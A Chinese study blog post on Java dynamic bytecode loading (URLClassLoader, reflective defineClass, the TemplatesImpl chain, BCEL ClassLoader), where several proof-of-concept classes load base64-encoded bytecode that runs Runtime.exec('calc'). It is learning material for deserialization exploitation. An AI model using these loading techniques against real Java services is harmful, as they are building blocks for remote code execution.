java动态加载字节码
java动态加载字节码
java字节码
Java字节码指的是JVM执行使用的一类指令,通常被存储在.class
文件中。
URLClassLoader
利用URLClassLoader可以加载远程/本地class文件
在学习完类加载机制,我们知道URLClassLoader是AppClassLoader的父类
正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class
文件来加载,这个基础路径有分三种情况:
- URL未以斜杠
/
结尾,则认为是一个Jar文件,使用JarLoader来寻找类,即在Jar包上寻找类 - URL以斜杠
/
结尾,且协议名为file,则使用FileLoader来寻找类,即在本地系统中寻找.class
文件 - URL以斜杠
/
结尾,且协议名不为file,则使用最基础的Loader来寻找类
一、本地加载.class文件
这个在之前的类加载机制已经看到了。
package org.example;
import java.net.URL;
import java.net.URLClassLoader;
public class CC3test {
public static void main(String[] args) throws Exception {
URLClassLoader urlclassloader = new URLClassLoader(new URL[]{new URL("file:///D:/")});
Class c = urlclassloader.loadClass("gaoren");
c.newInstance();
}
}
二、远程加载.class文件
import java.net.URL;
import java.net.URLClassLoader;
public class urlclassloader {
public static void main(String[] args) throws Exception {
URLClassLoader urlclassloader = new URLClassLoader(new URL[]{new URL("http://url:port/")});
Class c = urlclassloader.loadClass("Test");
c.newInstance();
}
}
感觉两者相差不大,对照上面的三种情况这里用的是基础的Loader来寻找类
一般利用:当能够控制目标Java ClassLoader的基础路径为一个http服务器,则可以用远程加载的方式执行任意代码
ClassLoader.define
利用ClassLoader.define可以直接加载字节码
java在进行类加载的都需要用到三个函数:
loadclass()-->findclass()-->defineclass()
loadclass()
:查找JVM是否加载过这个类,如果没有就层层向上利用父类加载器进行加载,没有父类加载器就会默认使用启动类加载器(Bootstrap ClassLoader)作为父加载器,如果父加载器加载类失败,抛出ClassNotFoundException
异常后才会调用自己的加载器进行加载,执行findclass()
findclass()
:根据基础URL制定的方式来查找类,读取字节码后交给defineClass(判断类是否能被加载)
defineclass()
:处理前面传入的字节码,将其处理成真正的Java类
defineclass
决定如何将一段字节流转换变成一个Java类,Java默认的ClassLoader.define是一个native方法(C语言实现)
从上面可以看出来,我们可以直接传入字节码,这样把findclass
都省去了,直接调用defineclass
把字节码转换为java类
gaoren.java
public class gaoren {
public gaoren() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
把其编译为class文件后进行base64编码方便待会出传入:
利用反射获取defineClass
方法
Method defineclassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclassMethod.setAccessible(true);
调用defineclass
方法:
Class Test = (Class) defineclassMethod.invoke(ClassLoader.getSystemClassLoader(), "gaoren", code, 0, code.length);
Test.newInstance();
完整poc:
package org.example;
import java.lang.reflect.Method;
import java.util.Base64;
public class CC3test {
public static void main(String[] args) throws Exception {
Method defineclassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclassMethod.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwAeBwAcAQAKU291cmNlRmlsZQEAC2dhb3Jlbi5qYXZhDAAJAAoHACAMACEAIgEABGNhbGMMACMAJAEAE2phdmEvbGFuZy9FeGNlcHRpb24MACUACgEABmdhb3JlbgEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAQABAAGAA0ACQAQAAcAEQAIABUACgANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAAAAIAFg==");
Class Test = (Class) defineclassMethod.invoke(ClassLoader.getSystemClassLoader(), "gaoren", code, 0, code.length);
Test.newInstance();
}
}
运行弹出计算机
defineClass()
是TemplatesImpl
的基石。
TemplatesImpl
利用TransletClassLoader
加载器来加载恶意类
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类中定义了一个内部类TransletClassLoader
,该类继承了ClassLoader
:
最主要的是看其defineclass
方法,进行了重写,我们在传入的时候只需要传byte[]
这个参数就行,但是之前那个是protected
属性的可以通过反射进行方法调用。这里是default属性,意思是只能在本类被调用,所以要去这个类看谁调用了defineclass
方法。
发现defineTransletClasses
中可以调用重写后的defineclass
方法:
这里参数_bytecodes
就是我们要传入的byte
,后续可利用反射获取变量进行修改是其为我们要传入的值。
我们还需要让loader
为TransletClassLoader
,这样调用的defineclass
方法才是我们想要的。
注意到这里的loader
是上面run()
方法得到的,该方法就是对TransletClassLoader
的实例化,至于参数先不管。
然后接下来还需要找谁调用了defineTransletClasses
方法
发现只有三个函数而且还都是本类的。那么依次跟进看
又发现只有getTransletInstance
函数能被其他函数进行调用,剩下两个查找不到用法。
所以继续跟进到getTransletInstance
函数,触发条件为_name
不为空然后_class
为空,后面赋值就这样赋就行了。
继续看谁调用了此方法,刚刚说了就一个结果:
跟进到此结果, newTransformer()
方法,
到这里看到方法是public
属性就可以结束了,可以直接调用此方法然后一层一层向下走。
TransformerImpl.newTransformer()
TransformerImpl.getTransletInstance()
TransformerImpl.defineTransletClasses()
TransformerImpl.defineclass()
参考其他师傅的文章也可以继续向上到getOutputProperties
方法。
TransformerImpl.getOutputProperties()
TransformerImpl.newTransformer()
TransformerImpl.getTransletInstance()
TransformerImpl.defineTransletClasses()
TransformerImpl.defineclass()
这里利用TransformerImpl.newTransformer()
开始的链,先反射调用给之前函数的一些参数赋值,因为赋值的参数较多,先构造个设值方法:
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
赋值:
byte[] code = Base64.getDecoder().decode("");
setValue(tem, "_bytecodes", code);
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
说实话这里其他赋值看上面的分析就知道了,但不是很懂这里_tfactory
为什么要这样赋值。这个最后再说。
poc:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class CC3test {
public static void main(String[] args) throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code=Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwAeBwAcAQAKU291cmNlRmlsZQEAC2dhb3Jlbi5qYXZhDAAJAAoHACAMACEAIgEABGNhbGMMACMAJAEAE2phdmEvbGFuZy9FeGNlcHRpb24MACUACgEABmdhb3JlbgEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAABAAEACQAKAAEACwAAAHwAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAMADAAAABoABgAAAAQABAAGAA0ACQAQAAcAEQAIABUACgANAAAAFgACABEABAAOAA8AAQAAABYAEAARAAAAEgAAABAAAv8AEAABBwATAAEHABQEAAEAFQAAAAIAFg==");
setValue(tem, "_bytecodes", code);
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
tem.newTransformer();
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
运行发现报错
发现_bytecodes
的类型是二维数组。
修改setValue(tem, "_bytecodes", new byte[][]{code});
,然后出乎意料,运行依然报错。
继续看师傅们的文章才知道TemplatesImpl
中对加载的字节码是有一定要求的,这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类。
所以重新构造class
字节码了:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class gaoren extends AbstractTranslet {
public gaoren(){
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
bade64编码后
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class CC3test {
public static void main(String[] args) throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code=Base64.getDecoder().decode("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBAAZnYW9yZW4BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAIAAQACgANAA0AEAALABEADAAVAA4ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAEQANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEwANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
tem.newTransformer();
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
番外
一、
为什么_tfactory
赋值为 new TransformerFactoryImpl()
,
跟进到它调用的getExternalExtensionsMap()
方法并没有太多内容,而且这里也只需要TransletClassLoader
实例化,其他值也并不重要
再跟进到_tfactory
参数,发现其为null
意思是这里的_tfactory
其实只要设个有getExternalExtensionsMap()
方法的对象就行了。
而刚刚跟进到的getExternalExtensionsMap()
方法就在TransformerFactoryImpl
类里,所以这里设为TransformerFactoryImpl
对象。
二、
至于最后会直接执行类里面得方法是因为在newTransformer()
方法中进行了TransformerImpl
类的实例化。
Class.forName()
使用Class.forName()
加载目标类
package org.example;
public class CC3test {
public static void main(String[] args) throws Exception {
try {
//Class.forName(String className),会对类进行初始化,执行类的static代码块
//Class<?> clazz = Class.forName("evil.Exploit2");
//Class.forName(String name, boolean initialize, ClassLoader loader),
//如果参数initialize为true,则会对类进行初始化,执行类的static代码块
Class test=Class.forName("org.example.gaoren");
test.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Class.forName()和ClassLoader#loadClass()的区别:
Class.forName()
默认情况下会对类进行初始化,执行类中的static
代码块。而ClassLoader.loadClass()
并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中。Class.forName()
可以加载数组,而ClassLoader.loadClass()
不能。
BCEL ClassLoader
利用BCEL ClassLoader加载字节码
在com.sun.org.apache.bcel.internal.util.ClassLoader
类中,重写了loadClass
方法
调用了defineclass
方法
条件是clazz
不为null,但是发现clazz
的初始值就为null
可以通过第二个if对clazz
(class对象)进行赋值。但是需要满足class_name.indexOf("$$BCEL$$") >= 0
,这个就是BCEL字节码以$$BCEL$$
开头。
跟进到createClass函数,其实它就是对传入的class_name
(BCEL字节码)进行了一系列处理,又把其变为了clazz也就是下面poc中一开始利用Repository.lookupClass
传入的class
对象
然后才是获得对象字节码进行defineclass
方法。
poc:
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class CC3test {
public static void main(String[] args) throws Exception {
JavaClass clazz = Repository.lookupClass(org.example.gaoren.class);
String code = Utility.encode(clazz.getBytes(), true);
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
}
}
综上大概就是loadclass
调用时传入的参数要是BCEL字节码,所以通过Repository.lookupClass
函数和Utility.encode
函数操作把class
对象变为BCEL字节码后传入,经过一些处理最后调用到defineclass
方法进行加载字节码。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!